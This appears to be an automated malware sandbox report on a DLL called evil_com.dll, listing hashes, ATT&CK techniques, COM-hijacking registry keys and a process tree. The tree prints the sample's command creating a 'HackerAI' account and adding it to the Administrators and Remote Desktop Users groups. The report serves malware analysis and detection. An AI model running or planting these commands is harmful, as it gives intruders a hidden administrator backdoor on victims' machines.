7b1c050aec57d72d93a92498fccfa6206a0bbb7e8b0530febf13fd6d4c260922

Analysis

user interaction
yes
max time kernel
42s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 02:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
evil_com.dll
Size 17KB
Sample260823-c5gc7adn91
SHA256 7b1c050aec57d72d93a92498fccfa6206a0bbb7e8b0530febf13fd6d4c260922
MD5 724fd301370804f453a38da67376ac6b
SHA1 e91580cbaa46030b943e9a8a950972606036a80f
SHA512 d9f4dc47073379a5221dc6ff2c5aad2c675c4926e0a0c3c11fe8ecccbe2fb094a3a439937d719dab948a6a8adc24171ab03ab28d95b098a7c74138f0c1bbb6c2
SSDEEP 384:zVPp6aof/bH7avnqgSACcUCtIQJE1oWI:zVPp6aoMqgSA1GQJ9
TLSH
T16D72C68FF30364EDC81DE278A1FBA735F6B1B82108246E3F43A0C2754E65654563DB5A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery lateral_movement persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
3124	net.exe
5812	net1.exe
4628	cmd.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
3244	net.exe
1636	net1.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ThreadingModel = "Apartment"	rundll32.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\System32\\spool\\drivers\\color\\evil_com.dll"	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	rundll32.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4496	rundll32.exe
4496	rundll32.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 4628	4496	rundll32.exe	89
PID 4628 wrote to memory of 3244	4628	cmd.exe	91
PID 3244 wrote to memory of 1636	3244	net.exe	92
PID 4628 wrote to memory of 4780	4628	cmd.exe	93
PID 4780 wrote to memory of 4528	4780	net.exe	94
PID 4628 wrote to memory of 3124	4628	cmd.exe	95
PID 3124 wrote to memory of 5812	3124	net.exe	96
PID 4400 wrote to memory of 368	4400	cmd.exe	99
PID 368 wrote to memory of 5944	368	net.exe	100

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\evil_com.dll,#1
1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Windows\System32\cmd.exe
  /c net user HackerAI P@ssw0rd! /add & net localgroup Administrators HackerAI /add & net localgroup "Remote Desktop Users" HackerAI /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\system32\net.exe
    net user HackerAI P@ssw0rd! /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3244
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user HackerAI P@ssw0rd! /add
      4⤵
      Creates a new local user account
      PID:1636
- - C:\Windows\system32\net.exe
    net localgroup Administrators HackerAI /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4780
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators HackerAI /add
      4⤵
      PID:4528
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" HackerAI /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:3124
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" HackerAI /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:5812

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4400
- C:\Windows\system32\net.exe
  net user
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user
    3⤵
    PID:5944